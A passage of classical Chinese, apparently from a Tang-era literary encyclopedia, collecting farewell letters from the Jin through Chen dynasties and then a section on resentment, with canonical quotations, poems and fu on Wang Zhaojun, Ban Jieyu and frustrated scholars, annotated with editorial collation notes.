晖 . 则 身 疲 于 遄 征 . 太 阳 戢 曜 . 则 情 劬 于 夕 惕 . 思 蹑 云 梯 . 横 奋 八 极 . 披 艰 埽 秽 . 荡 海 夷 岳 . 蹴 昆 仑 使 西 倒 . 踏 泰 山 令 东 覆 . 平 涤 九 区 . 恢 廓 宇 宙 . 斯 亦 吾 心 之 鄙 愿 也 . 时 不 我 与 . 垂 翼 远 逝 . 锋 铓 靡 加 . 六 翮 摧 屈 . 自 非 乐 天 知 命 . 谁 能 不 愤 悒 者 哉 . 吾 子 植 根 芳 苑 . 擢 秀 清 流 . 荣 曜 眩 其 前 . 艳 色 饵 其 后 . 良 俦 交 其 左 . 声 名 驰 其 右 . 翱 翔 伦 党 之 间 . 弄 姿 房 帷 之 里 . 从 容 顾 眄 . 绰 有 余 裕 . 俯 仰 吟 啸 . 自 以 为 得 志 矣 . 岂 能 与 吾 同 大 丈 夫 之 忧 乐 哉 . 去 矣 嵇 生 . 永 离 隔 矣 . 茕 茕 飘 寄 . 临 沙 漠 矣 . 悠 悠 三 千 . 路 难 涉 矣 . 执 手 之 期 . 邈 无 日 矣 . 思 心 弥 结 . 谁 云 释 矣 . 无 金 玉 尔 音 . 而 有 遐 心 . 身 虽 胡 越 . 意 存 断 金 .\n晋 嵇 茂 齐 答 赵 景 真 书 曰 . 登 山 远 望 . 睹 ● 以 成 愤 . 策 杖 广 泽 . 瞻 长 波 以 增 悲 . 游 眄 春 圃 . 情 有 秋 林 之 悴 . 濯 足 夏 流 . 心 怀 冬 冰 之 惨 . 对 荣 宴 而 不 乐 . 临 清 觞 而 无 欢 . 今 足 下 琬 琰 之 朴 未 剖 . 而 求 光 时 之 价 . 骐 骥 之 足 未 摅 . 而 希 绝 景 之 功 . 心 锐 而 动 浅 . 望 速 而 应 迟 . 故 有 企 伫 之 怀 尔 . 夫 处 静 不 闷 . 古 人 所 贵 . 穷 而 不 滥 . 君 子 之 美 . 故 颜 生 居 陋 . 不 改 其 乐 . 孔 父 困 陈 . 弦 歌 不 废 . 幸 吾 子 思 弘 远 理 . 舍 道 自 荣 . 将 与 足 下 交 伯 成 于 穷 野 . 结 箕 山 乎 蓬 屋 . 侣 范 生 于 海 滨 . 俦 黄 绮 于 商 岳 . 凭 轻 云 以 绝 驰 . 游 旷 荡 以 自 足 . 虽 不 齐 足 下 之 所 乐 . 亦 吾 心 之 所 愿 也 .\n梁 简 文 帝 与 刘 孝 绰 书 曰 . 执 别 灞 泄 . 嗣 音 阻 阔 . 合 璧 不 停 . 旋 灰 屡 徙 . 玉 霜 夜 下 . 旅 雁 晨 飞 . 想 凉 燠 得 宜 . 时 候 无 爽 . 既 官 寺 务 烦 . 簿 领 殷 凑 . 等 张 释 之 条 理 . 同 于 公 之 明 察 . 雕 龙 之 才 本 传 . 灵 蛇 之 誉 自 高 . 颇 得 暇 逸 于 篇 章 . 从 容 于 文 讽 . 顷 拥 旄 西 迈 . 载 离 寒 暑 . 晓 河 未 落 . 拂 桂 桌 而 先 征 . 夕 鸟 归 林 . 悬 孤 帆 而 未 息 . 足 使 边 心 愤 薄 . 乡 思 邅 回 . 但 离 阔 已 久 . 载 劳 寤 寐 . 伫 闻 还 驿 . 以 慰 相 思 .\n又 与 萧 临 川 书 曰 . 零 雨 送 秋 . 轻 寒 迎 节 . 江 枫 晓 落 . 林 叶 初 黄 . 登 舟 已 积 . 殊 足 劳 止 . 解 维 金 关 . 定 在 何 日 . 八 区 内 侍 . 厌 直 御 史 之 庐 . 九 棘 外 府 . 且 息 官 曹 之 务 . 应 分 竹 南 川 . 剖 符 千 里 . 但 黑 水 初 旋 . 未 申 十 千 之 饮 . 桂 宫 既 启 . 复 乖 双 阙 之 宴 . 文 雅 纵 横 . 即 事 分 阻 . 清 夜 西 园 . 眇 然 未 克 . 想 征 舻 而 结 叹 . 望 桂 席 而 沾 衿 . 若 使 弘 农 书 疏 . 脱 还 邺 下 . 河 南 口 占 . 傥 归 乡 里 . 必 迟 青 泥 之 封 . 且 觏 朱 明 之 诗 . 白 云 在 天 . 苍 波 无 极 . 瞻 之 岐 路 . 眷 慨 良 深 . 爱 护 波 潮 . 敬 勖 光 彩 .\n梁 元 帝 与 萧 挹 书 曰 . 阔 别 清 颜 . 忽 焉 已 久 . 未 复 音 息 . 劳 望 情 深 . 暑 气 方 隆 . 恒 保 清 善 . 握 兰 云 阁 . 解 绂 龙 楼 . 允 膺 妙 选 . 良 为 幸 甚 . 想 同 僚 多 士 . 方 驾 连 曹 . 雅 步 南 宫 . 容 与 自 玩 . 士 衡 已 后 . 唯 在 兹 日 . 惟 昆 与 季 . 文 藻 相 晖 . 二 陆 三 张 . 岂 独 擅 美 . 比 暇 日 无 事 . 时 复 含 毫 . 颇 有 赋 诗 . 别 当 相 简 . 但 衡 巫 峻 极 . 汉 水 悠 长 . 何 时 把 袂 . 共 披 心 腹 .\n梁 刘 孝 标 答 郭 峙 书 曰 . 闻 君 子 旧 矣 . 但 人 非 豕 鹿 . 转 加 蓬 逝 . 波 骇 雨 散 . 动 间 山 川 . 故 无 由 交 羽 觞 . 荐 杂 佩 . 睨 浮 云 以 搔 首 . 临 清 风 而 浩 歌 . 变 燧 回 星 . 亦 云 劳 止 .\n周 王 裒 与 周 弘 让 书 曰 . 嗣 宗 穷 途 . 杨 朱 岐 路 . 征 蓬 长 逝 . 流 水 不 归 . 南 北 殊 方 . 炎 凉 异 节 . 木 皮 春 厚 . 桂 树 冬 荣 . 摄 卫 惟 宜 . 动 静 多 豫 . 贤 兄 入 关 . 敬 承 阔 曲 . 犹 依 杜 陵 之 水 . 尚 保 东 陂 之 田 . 铲 迹 幽 蹊 . 销 声 穹 谷 . 何 其 愉 乐 . 幸 甚 幸 甚 . 弟 昔 因 多 疾 . 亟 览 九 仙 之 方 . 晚 涉 世 途 . 犹 怀 五 岳 之 举 . 顷 年 事 遒 尽 . 容 发 衰 谢 . 芸 其 黄 矣 . 零 落 无 时 . 还 念 生 涯 . 繁 忧 总 集 . 亲 ○ 周 书 四 十 一 王 裒 传 作 视 . 阴 憩 日 . 类 赵 孟 之 徂 年 . 负 杖 行 吟 . 同 刘 琨 之 积 惨 . 河 阳 北 游 . 空 思 巩 洛 . 灞 陵 南 望 . 唯 见 长 安 . 所 贵 书 生 之 魂 . 还 依 旧 里 . 射 声 之 鬼 . 无 恨 他 乡 . 浮 云 在 天 . 邈 无 由 矣 . 会 见 之 期 . 长 无 日 矣 . 援 笔 揽 纸 . 龙 钟 横 集 .\n陈 周 弘 让 答 王 裒 书 曰 . 甚 矣 悲 哉 . 此 之 为 别 也 . 云 飞 泥 沉 . 金 铄 兰 灭 . 玉 音 不 嗣 . 瑶 华 莫 因 . 家 兄 至 自 镐 京 . 致 来 书 于 穹 谷 . 故 人 之 迹 . 有 如 对 面 . 开 题 申 纸 . 流 脸 沾 膝 . 与 弟 分 袂 西 陕 . 言 反 东 区 . 虽 保 周 陂 . 还 依 蒋 径 . 三 荆 离 坼 . 二 仲 不 归 . 麋 鹿 为 曹 . 更 多 悲 绪 . 丹 经 在 握 . 贫 病 莫 谐 . 芝 术 可 求 . 聊 因 采 掇 . 昔 吾 壮 日 . 及 弟 富 年 . 俱 值 邕 熙 . 并 欢 衡 泌 . 南 风 雅 操 . 清 觞 妙 曲 . 弦 琴 促 坐 . 无 乏 夕 晨 . 玉 沥 金 华 . 冀 获 难 老 . 不 虞 一 旦 . 覆 波 澜 . 吾 已 憩 阴 . 弟 非 茂 齿 . 禽 尚 之 契 . 各 在 天 涯 . 永 念 生 平 . 难 为 胸 臆 . 正 当 视 阴 数 箭 . 排 愁 破 涕 . 人 生 乐 尔 . 忧 戚 何 为 . 愿 爱 玉 体 . 珍 金 相 . 保 期 颐 . 享 考 黄 发 . 犹 冀 苍 雁 赪 鲤 . 时 传 尺 素 . 清 风 朗 月 . 但 寄 相 思 . 搦 管 操 觚 . 声 泪 俱 咽 .\n陈 徐 陵 答 尹 义 尚 书 曰 . 别 离 二 国 . 云 雨 十 年 . 心 想 河\n阳 . 言 铜 爵 而 无 远 . 神 游 漳 水 . 与 金 凤 而 俱 飞 . 弟 留 连\n河 北 . 义 等 周 南 . 怀 此 殊 才 . 实 可 伤 叹 . 吾 崦 嵫 既 暮 .\n容 鬓 凋 然 . 风 气 弥 留 . 砭 药 无 损 . 追 惟 畴 昔 . 共 备 行 人\n. 家 国 安 危 . 宾 礼 升 降 . 悬 壶 代 哭 . 俱 历 春 冬 . 移 管 于\n箕 . 同 兹 辛 苦 . 鸣 蜩 抱 树 . 亟 见 藏 冰 . 归 雁 衔 芦 . 多 历\n寒 食 . 靖 言 念 此 . 如 何 可 忘 . 夫 以 拥 肿 之 木 . 得 免 困 ○\n文 苑 英 华 六 百 八 十 五 作 因 . 于 不 才 . 觳 觫 之 牛 . 自\n保 由 于 无 用 . 嗟 余 鄙 陋 . 未 有 龚 生 . 唯 叹 吾 贤 . 不 同 蘧\n瑗 尔 . 夫 推 沟 拯 溺 . 无 切 皇 衷 . 逸 翮 飘 鳞 . 见 优 机 览 .\n所 以 降 尺 一 之 书 . 驰 輶 轩 之 使 . 心 期 与 国 . 必 遂 还 途 .\n宁 谓 亲 邻 . 更 成 难 请 . 伊 昔 梁 朝 . 共 奉 嘉 聘 . 张 兹 大 帛\n. 处 彼 高 闳 . 庭 奏 歌 钟 . 座 延 娇 眄 . 宾 客 之 叙 . 方 于 阶\n阼 . 田 猎 之 禽 . 同 于 君 膳 . 正 以 乡 关 阻 乱 . 致 尔 拘 留 .\n家 国 隆 平 . 义 应 旋 反 . 韩 宣 屡 至 . 宰 孔 频 还 . 翻 尔 迟 回\n. 岂 云 邻 睦 .\n毛 诗 序 曰 . 乱 世 之 音 怨 以 怒 . 其 政 乖 .\n又 曰 . 角 弓 . 父 兄 刺 幽 王 也 . 不 亲 九 族 而 好 谗 佞 . 骨 肉 相 怨 . 故 作 是 诗 也 . 骍 骍 角 弓 . 翩 其 反 矣 . 兄 弟 婚 姻 . 无 胥 远 矣 .\n左 传 曰 . 晋 侯 赏 从 亡 者 . 介 之 推 不 言 禄 . 禄 亦 弗 及 . 其 母 曰 . 盍 亦 求 之 . 以 死 谁 怼 . 对 曰 . 尤 而 效 之 . 罪 又 甚 焉 . 且 出 怨 言 . 不 食 其 食 .\n又 曰 . 晋 郤 至 献 楚 捷 于 周 . 与 单 襄 公 语 . 骤 称 其 伐 . 单 子 语 诸 大 夫 曰 . 温 季 其 亡 乎 . 位 于 七 人 之 下 . 而 求 掩 其 上 . 怨 之 聚 . 乱 之 本 也 . 多 怨 而 阶 乱 . 何 以 在 位 . 夏 书 曰 . 怨 岂 在 明 . 不 见 是 图 . 将 慎 其 细 也 . 今 而 明 之 . 其 可 乎 .\n又 曰 . 吴 公 子 札 来 聘 . 请 观 于 周 乐 . 为 之 歌 周 南 召 南 . 曰 . 美 哉 . 始 基 之 矣 . 犹 未 也 . 然 勤 而 不 怨 矣 . 为 之 歌 小 雅 . 曰 . 美 哉 . 思 而 不 贰 . 怨 而 不 言 . 其 周 德 之 盛 乎 .\n又 曰 . 子 产 云 . 我 闻 忠 善 以 损 怨 . 不 闻 作 威 以 防 怨 .\n又 曰 . 君 子 之 言 . 信 而 有 征 . 故 怨 远 于 身 . 小 人 之 言 . 僭 而 无 征 . 故 怨 咎 及 之 .\n论 语 曰 . 放 于 利 而 行 多 怨 .\n又 曰 . 贫 而 无 怨 难 . 富 而 无 骄 易 .\n管 子 曰 . 凡 祸 乱 之 所 生 . 生 于 怨 咎 . 怨 咎 之 所 生 . 在 于 非 理 . 故 曰 闲 祸 在 除 怨 .\n楚 辞 曰 . 怨 灵 修 ○ 原 作 循 . 据 冯 校 本 改 . 之 浩 荡 . 终 不 察 夫 民 心 .\n淮 南 子 曰 . 和 氏 之 璧 . 夏 后 之 璜 . 揖 让 而 进 之 以 合 欢 . 夜 以 投 人 则 为 怨 . 时 与 不 时 也 .\n琴 操 曰 . 王 昭 君 者 . 齐 国 人 也 . 颜 色 皎 洁 . 闻 于 国 中 . 献 于 孝 元 帝 . 讫 不 幸 纳 . 积 五 六 年 . 昭 君 心 有 怨 旷 . 伪 不 饰 其 形 容 . 元 帝 每 历 后 宫 . 疏 略 不 过 其 处 . 后 单 于 遣 使 者 朝 贺 . 元 帝 陈 设 倡 乐 . 乃 令 后 宫 妆 出 . 昭 君 怨 恚 日 久 . 乃 便 循 饰 . 善 妆 盛 服 . 光 晖 而 出 . 俱 列 坐 . 元 帝 谓 使 者 曰 . 单 于 何 所 愿 乐 . 对 曰 . 珍 奇 怪 物 . 皆 悉 自 备 . 唯 妇 人 丑 陋 . 不 如 中 国 . 乃 令 后 宫 欲 至 单 于 者 起 . 昭 君 喟 然 越 席 而 前 曰 . 妾 幸 得 备 在 后 宫 . 粗 丑 卑 陋 . 不 合 陛 下 之 心 . 诚 愿 得 行 . 帝 大 惊 悔 之 . 良 久 太 息 曰 . 朕 已 误 矣 . 遂 以 与 之 . 昭 君 至 单 于 . 心 思 不 乐 . 乃 作 怨 旷 思 惟 歌 曰 . 秋 木 萋 萋 . 其 叶 萎 黄 . 有 鸟 处 山 . 集 于 苞 桑 . 养 育 毛 羽 . 形 容 生 光 . 既 得 升 云 . 游 倚 曲 房 . 离 宫 绝 旷 . 身 体 摧 藏 . 志 念 抑 冗 . 不 得 颉 颃 . 虽 得 喂 食 . 心 有 徊 徨 . 我 独 伊 何 . 改 往 变 常 . 翩 翩 之 鷰 . 远 集 西 羌 . 高 山 峨 峨 . 河 水 泱 泱 . 父 兮 母 兮 . 道 里 悠 长 . 呜 呼 哀 哉 . 忧 心 恻 伤 .\n续 汉 书 曰 . 建 武 三 十 年 三 月 . 群 臣 上 言 . 即 位 三 十 年 . 宜 封 禅 泰 山 . 诏 书 曰 . 百 姓 怨 气 满 腹 . 吾 谁 欺 . 欺 天 乎 . 曾 谓 泰 山 不 如 林 放 乎 .\n【 诗 】 魏 阮 瑀 诗 曰 . 民 生 受 天 命 . 漂 若 河 中 尘 . 虽 称 百 龄 寿 . 孰 能 应 此 身 . 犹 获 婴 凶 祸 . 流 离 恒 苦 辛 .\n宋 鲍 昭 行 路 难 曰 . 君 不 见 河 边 草 . 冬 时 枯 死 春 满 道 . 君 不 见 城 上 日 . 今 暝 没 西 山 . 明 朝 复 更 出 . 今 我 何 时 得 自 然 . 一 灭 永 罢 归 黄 泉 . 人 生 苦 多 欢 乐 少 . 意 气 敷 腴 在 盛 年 . 且 愿 得 志 数 相 就 . 床 头 恒 有 沽 酒 钱 . 功 名 竹 帛 非 我 事 . 存 亡 贵 贱 委 皇 天 .\n又 曰 . 写 水 置 平 地 . 各 自 东 西 南 北 流 . 民 生 亦 有 命 . 安 能 行 叹 复 坐 愁 . 酌 酒 小 自 宽 . 举 杯 断 绝 歌 行 路 难 . 心 非 木 石 岂 无 感 . 吞 声 踯 躅 不 敢 言 .\n齐 谢 朓 玉 阶 怨 诗 曰 . 夕 殿 下 珠 帘 . 流 萤 飞 复 息 . 长 夜 缝 罗 衣 . 思 君 此 何 极 .\n梁 元 帝 送 西 归 内 人 诗 曰 . 秋 气 苍 茫 结 孟 津 . 复 送 巫 山 荐 枕 神 . 昔 时 慊 慊 愁 应 去 . 今 日 劳 劳 长 别 人 .\n梁 豫 章 王 萧 综 听 钟 鸣 诗 曰 . 历 历 听 钟 鸣 . 当 知 在 帝 城 . 西 树 隐 落 月 . 东 窗 见 晓 星 . 雾 露 朏 朏 未 分 明 . 鸟 啼 哑 哑 已 流 声 . 惊 客 思 . 动 客 情 . 客 思 郁 从 横 . 翩 翩 孤 雁 何 所 栖 . 依 依 别 鹤 半 夜 鸣 . 今 岁 行 已 暮 . 雨 雪 向 凄 凄 . 飞 蓬 旦 夕 起 . 杨 柳 尚 低 . 气 郁 结 . 涕 滂 沱 . 愁 思 无 所 托 . 强 作 听 钟 歌 .\n梁 范 云 登 城 怨 诗 曰 . 楚 妃 歌 脩 竹 . 汉 女 奏 幽 兰 . 独 以 闺 中 笑 . 岂 知 城 上 寒 .\n梁 刘 孝 绰 班 婕 妤 怨 诗 曰 . 应 门 寂 已 闭 . 非 复 后 庭 时 . 况 在 青 春 日 . 萋 萋 绿 草 滋 . 妾 身 似 秋 扇 . 君 恩 绝 履 綦 . 讵 忆 游 轻 辇 . 从 今 贱 妾 辞 .\n梁 吴 筠 行 路 难 曰 . 洞 庭 水 上 一 株 桐 . 经 霜 触 浪 困 严 风 . 昔 时 抽 心 曜 白 日 . 今 旦 怨 死 黄 沙 中 . 洛 阳 名 工 见 咨 嗟 . 一 嗟 一 克 作 琵 琶 . 白 璧 规 心 学 明 月 . 珊 瑚 映 面 作 风 花 . 帝 王 见 赏 不 见 忘 . 提 携 把 握 登 建 章 . 掩 抑 摧 藏 张 女 弹 . 殷 勤 促 柱 楚 明 光 . 年 年 月 月 对 君 子 . 遥 遥 夜 夜 宿 未 央 . 未 央 婇 女 弃 鸣 篪 . 争 见 拂 拭 生 光 仪 . 茱 萸 锦 衣 玉 作 匣 . 安 念 昔 日 枯 树 枝 . 不 学 衡 山 南 岭 桂 . 至 今 千 载 犹 未 知 .\n又 曰 . 青 璅 门 外 安 石 榴 . 连 枝 接 叶 夹 御 沟 . 金 墉 城 西 合 欢 树 . 垂 条 照 采 拂 凤 楼 . 游 侠 少 年 游 上 路 . 倾 心 颠 倒 想 恋 慕 . 摩 顶 至 足 买 片 言 . 开 胸 沥 胆 取 一 顾 . 自 言 家 在 赵 邯 郸 . 翩 翩 舌 杪 复 剑 端 . 青 骊 白 駮 的 卢 马 . 金 羁 绿 控 紫 丝 鞶 . 躞 蹀 横 行 不 肯 进 . 夜 夜 汗 血 至 长 安 . 长 安 城 中 诸 贵 臣 . 争 贵 儒 者 席 上 珍 . 复 闻 梁 王 好 学 问 . 轻 弃 剑 客 如 埃 尘 . 吾 丘 寿 王 始 得 意 . 司 马 相 如 适 被 申 . 大 才 大 辩 尚 如 此 . 何 况 我 辈 轻 薄 人 .\n又 曰 . 君 不 见 西 陵 田 . 从 横 十 字 成 陌 阡 . 君 不 见 东 郊 道 . 荒 凉 芜 没 起 寒 烟 . 尽 是 昔 日 帝 王 处 . 歌 姬 舞 女 达 天 曙 . 今 日 翩 妍 少 年 子 . 不 知 华 盛 落 前 去 . 吐 心 吐 意 许 他 人 . 今 旦 回 惑 生 犹 豫 . 山 中 桂 树 自 有 枝 . 心 中 方 寸 自 相 知 . 何 言 岁 月 忽 若 驰 . 君 之 情 意 与 我 离 . 还 君 玳 瑁 金 雀 钗 . 不 忍 见 此 便 心 危 .\n又 曰 . 君 不 见 长 安 客 舍 门 . 娼 家 少 女 名 桃 根 . 贫 穷 夜 纺 无 灯 烛 . 何 言 一 朝 奉 至 尊 . 至 尊 离 宫 百 余 处 . 千 门 万 户 不 知 曙 . 唯 闻 哑 哑 城 上 乌 . 玉 兰 金 井 牵 辘 轳 . 丹 梁 翠 柱 飞 流 苏 . 香 薪 桂 火 炊 雕 众 . 当 年 翻 覆 无 常 定 . 薄 命 为 女 必 已 粗 .\n梁 孔 翁 归 班 婕 妤 怨 诗 曰 . 长 门 与 长 信 . 日 暮 九 重 空 . 雷 声 听 隐 隐 . 车 响 绝 笼 笼 . 恩 光 随 妙 舞 . 团 扇 逐 秋 风 . 铅 华 谁 不 见 . 人 意 自 难 同 .\n梁 何 思 澄 班 婕 妤 诗 曰 . 寂 寂 长 信 晚 . 雀 声 愁 洞 房 . 蜘 蛛 网 高 阁 . 駮 藓 被 长 廊 . 虚 殿 帘 帷 静 . 闲 阶 花 橤 香 . 愁 愁 视 日 暮 . 还 复 守 空 床 .\n梁 施 荣 泰 王 昭 君 诗 曰 . 垂 罗 下 椒 阁 . 举 袖 拂 胡 尘 . 即 即 抚 心 叹 . 蛾 眉 误 杀 人 .\n梁 徐 悱 妻 刘 氏 班 婕 妤 怨 诗 曰 . 日 没 应 门 ● . 愁 思 百 端 生 . 况 复 昭 阳 近 . 风 传 歌 吹 声 . 宠 移 真 不 恨 . 谗 枉 太 无 情 . 祗 言 争 分 理 . 非 妒 舞 腰 轻 .\n梁 王 叔 英 妻 刘 氏 王 昭 君 怨 诗 曰 . 一 生 竟 何 定 . 万 事 良 难 保 . 丹 青 失 应 图 . 匣 玉 成 秋 草 . 相 接 辞 关 泪 . 至 今 犹 未 燥 . 汉 使 汝 南 还 . 慇 懃 为 人 道 .\n梁 范 靖 妻 沈 氏 昭 君 叹 诗 曰 . 早 信 丹 青 巧 . 重 赂 洛 阳 师 . 千 金 画 云 鬓 . 百 万 写 娥 眉 .\n陈 阴 铿 班 婕 妤 诗 曰 . 柏 梁 新 宠 盛 . 长 信 昔 恩 倾 . 谁 谓 诗 书 巧 . 为 歌 舞 轻 . 花 月 分 窗 进 . 苔 草 共 阶 生 . 忆 泪 衫 前 满 . 单 眠 梦 里 惊 . 可 惜 逢 秋 扇 . 何 用 合 欢 名 .\n陈 明 昭 ○ 乐 府 诗 集 二 十 九 作 陈 昭 . 按 晋 讳 昭 作 明 . 当 是 陈 昭 沿 旧 称 作 明 君 辞 . 后 人 误 倒 . 君 辞 曰 . 跨 鞍 今 永 诀 . 垂 涕 别 亲 宾 . 汉 地 随 行 尽 . 胡 关 逐 望 新 . 郊 河 壅 塞 雾 . 陇 日 闇 沙 尘 . 唯 有 孤 明 月 . 犹 能 远 送 人 .\n【 赋 】 汉 董 仲 舒 士 不 遇 赋 曰 . 呜 呼 嗟 乎 . 遐 哉 邈 矣 . 时 来 曷 迟 . 去 之 速 矣 . 屈 意 从 人 . 悲 吾 族 矣 . 正 身 俟 时 . 将 就 木 矣 . 心 之 忧 兮 . 不 期 禄 矣 . 遑 遑 匪 宁 . 祗 增 辱 矣 . 努 力 触 藩 . 徒 摧 角 矣 . 不 出 户 庭 . 庶 无 过 矣 . 重 曰 . 生 不 丁 三 代 之 盛 隆 兮 . 而 丁 三 季 之 末 俗 . 末 俗 以 辩 诈 而 期 通 . 贞 士 以 耿 介 而 自 束 . 虽 日 三 省 于 吾 身 . 繇 怀 进 退 之 唯 谷 . 彼 寔 繁 之 有 徒 . 指 贞 白 以 为 墨 . 目 信 嫮 而 言 眇 . 口 信 辩 而 言 讷 . 鬼 神 不 能 正 人 事 之 变 戾 . 圣 贤 亦 不 能 开 愚 夫 之 违 惑 . 出 门 则 不 可 与 偕 同 . 藏 器 又 蚩 其 不 容 . 退 洗 心 而 内 讼 . 固 亦 未 知 其 所 从 . 观 上 世 之 清 晖 . 廉 士 茕 茕 而 靡 归 . 殷 汤 有 卞 随 与 务 光 . 周 武 有 伯 夷 与 叔 齐 . 孰 若 反 身 于 素 业 . 莫 随 世 俗 而 轮 转 . 虽 矫 情 而 获 百 利 . 不 如 复 心 而 归 一 善 .\n汉 司 马 迁 悲 士 不 遇 赋 曰 . 悲 夫 士 生 之 不 辰 . 愧 顾 影 而 独 存 . 恒 克 己 而 复 礼 . 惧 志 行 而 无 闻 . 谅 才 韪 而 世 戾 . 将 逮 死 而 长 勤 . 虽 有 行 而 不 彰 . 徒 有 能 而 不 陈 . 何 穷 达 之 易 惑 . 信 美 恶 之 难 分 . 时 悠 悠 而 荡 荡 . 将 遂 屈 而 不 伸 . 使 公 于 公 者 . 彼 我 同 兮 . 私 于 私 者 . 自 相 悲 兮 . 天 道 微 哉 . 吁 嗟 阔 兮 . 人 理 显 然 . 相 倾 夺 兮 . 好 生 恶 死 . 才 之 鄙 也 . 好 贵 夷 贱 . 哲 之 乱 也 . 照 照 洞 达 . 胸 中 豁 也 . 昏 昏 罔 觉 . 内 生 毒 也 . 我 之 心 矣 . 哲 已 能 忖 . 我 之 言 矣 . 哲 已 能 选 . 没 世 无 闻 . 古 人 惟 耻 . 朝 闻 夕 死 . 孰 云 其 否 . 逆 顺 还 周 . 乍 没 乍 起 . 无 造 福 先 . 无 触 祸 始 . 委 之 自 然 . 终 归 一 矣 .\n汉 司 马 相 如 陈 皇 后 长 门 赋 曰 . 愿 赐 问 而 同 进 兮 . 得 尚 君 之 玉 音 . 奉 虚 言 而 望 诚 兮 . 期 城 南 之 离 宫 . 循 薄 具 而 自 设 兮 . 君 不 肯 而 幸 临 . 浮 云 郁 而 四 塞 兮 . 天 窈 窈 而 昼 阴 . 雷 隐 隐 而 响 起 兮 . 声 象 君 之 车 音 . 刻 木 兰 以 为 榱 兮 . 饰 文 杏 以 为 梁 . 日 黄 昏 而 望 绝 兮 . 怅 独 托 于 空 堂 . 悬 明 月 以 自 照 兮 . 徂 清 夜 于 洞 房 . 援 雅 琴 以 变 调 兮 . 奏 愁 思 之 不 可 长 . 案 流 征 以 却 转 兮 . 声 窈 妙 而 复 扬 . 抟 芬 若 以 为 枕 兮 . 席 荃 兰 而 茞 香 . 忽 寝 寐 而 梦 想 兮 . 魂 若 君 之 在 傍 .\n班 婕 妤 自 伤 赋 曰 . 承 祖 考 之 遗 德 . 荷 性 命 之 淑 ● . 登 薄 躯 于 宫 闱 . 充 下 陈 于 后 庭 . 蒙 圣 皇 之 渥 惠 . 当 日 月 之 盛 明 . 扬 光 烈 之 翕 赫 . 奉 隆 宠 于 增 城 . 既 遇 幸 于 非 位 . 窃 庶 几 乎 嘉 时 . 陈 女 图 而 镜 鉴 . 顾 女 史 而 问 诗 . 历 年 岁 而 悼 惧 . 闵 蕃 华 之 不 滋 . 白 日 忽 以 移 光 . 遂 暗 漠 以 昧 幽 . 犹 被 覆 载 之 厚 德 . 不 废 捐 于 罪 尤 . 奉 供 养 于 东 宫 . 托 长 信 之 末 流 . 重 曰 . 潜 玄 宫 兮 幽 以 清 . 应 门 闭 兮 禁 闱 扃 . 华 殿 尘 兮 玉 阶 苔 . 中 庭 萋 兮 绿 草 生 . 神 眇 眇 兮 密 静 处 . 君 不 御 兮 谁 为 荣 . 俯 视 兮 丹 墀 . 思 君 兮 履 綦 . 仰 视 兮 云 屋 . 双 涕 兮 横 流 . 顾 左 右 兮 和 颜 . 酌 羽 觞 兮 销 忧 . 惟 人 生 兮 一 世 . 忽 一 过 兮 若 浮 .\n魏 丁 廙 蔡 伯 喈 女 赋 曰 . 伊 太 宗 之 令 女 . 禀 神 惠 之 自 然 . 在 华 年 之 二 八 . 披 邓 林 之 曜 鲜 . 明 六 列 之 尚 致 . 服 女 史 之 话 言 . 参 过 庭 之 明 训 . 才 朗 悟 而 通 玄 . 当 三 春 之 嘉 月 . 时 将 归 于 所 天 . 曳 丹 罗 之 轻 裳 . 戴 金 翠 之 华 钿 . 美 荣 曜 之 所 茂 . 哀 寒 霜 之 已 繁 . 岂 偕 老 之 可 期 . 庶 尽 欢 于 余 年 . 何 大 愿 之 不 遂 . 飘 微 躯 于 逆 边 . 行 悠 悠 于 日 远 . 入 穹 谷 之 寒 山 . 惭 柏 舟 于 千 祀 . 负 冤 魂 于 黄 泉 . 我 羁 虏 其 如 昨 . 经 春 秋 之 十 二 . 忍 胡 颜 之 重 耻 . 恐 终 风 之 我 萃 . 咏 芳 草 于 万 里 . 想 音 尘 之 髣 佛 . 祈 精 爽 于 交 梦 . 终 寂 寞 而 不 至 . 哀 我 生 之 何 辜 . 为 神 灵 之 所 弃 . 仰 蕣 华 其 已 落 . 临 桑 榆 之 歔 欷 . 入 穹 庐 之 秘 馆 . 亟 逾 时 而 经 节 . 叹 殊 类 之 非 匹 . 伤 我 躬 之 无 悦 . 脩 肤 体 以 深 . ○ 句 有 脱 文 . 念 兰 泽 之 空 设 . 伫 美 目 于 胡 忌 . 向 凯 风 而 泣 血 .\n梁 江 淹 恨 赋 曰 . 试 望 平 原 . 蔓 草 萦 骨 . 拱 木 敛 魂 . 人\n生 到 此 . 天 道 宁 论 . 于 是 仆 本 恨 人 . 心 惊 不 已 . 直 念 古\n者 . 伏 恨 而 死 . 若 乃 赵 王 既 虏 . 迁 于 房 陵 . 薄 心 动 念 .\n昧 旦 晨 兴 . 别 艳 姬 与 美 女 . 丧 金 舆 及 玉 乘 . 置 酒 欲 饮 .\n悲 来 填 膺 . 千 秋 万 岁 . 为 怨 难 胜 . 至 如 李 君 降 北 . 名 辱\n身 冤 . 拔 剑 击 柱 . 吊 影 惭 魂 . 若 夫 明 妃 去 时 . 仰 天 太 息\n. 紫 台 稍 远 . 关 山 无 极 . 摇 风 忽 起 . 白 日 西 匿 . 陇 雁 少\n飞 . 岱 云 寡 色 . 望 君 皇 兮 何 期 . 终 芜 绝 兮 异 域 . 至 如 敬\n通 见 抵 . 罢 归 田 里 . ● 关 却 扫 . 塞 门 不 仕 . 左 对 孺 人 .\n右 顾 稚 子 . 脱 略 公 卿 . 跌 宕 文 史 . 齎 志 没 地 . 长 怀 无 已\n. 若 夫 中 散 下 狱 . 神 气 激 扬 . 浊 醪 夕 引 . 素 琴 晨 张 . 秋\n日 萧 索 . 浮 云 无 光 . 郁 青 霞 之 奇 志 . 入 脩 夜 之 不 旸 . 或\n有 孤 臣 危 涕 . 孽 子 坠 心 . 迁 客 海 上 . 流 戍 陇 阴 . 此 人 但\n闻 悲 风 汩 起 . 泣 下 沾 衿 . 亦 复 含 酸 茹 怨 . 销 落 湮 沉 . 若\n乃 骑 叠 迹 . 车 屯 轨 . 黄 尘 匝 地 . 歌 吹 四 起 . 无 不 烟 断 火\n绝 . 闭 骨 泉 里 . 已 矣 哉 . 春 草 暮 兮 秋 风 惊 . 秋 风 罢 兮 春\n草 生 . 绮 罗 毕 兮 池 管 尽 . 琴 瑟 灭 兮 丘 陇 平 . 自 古 皆 有 死\n. 莫 不 饮 恨 而 吞 声 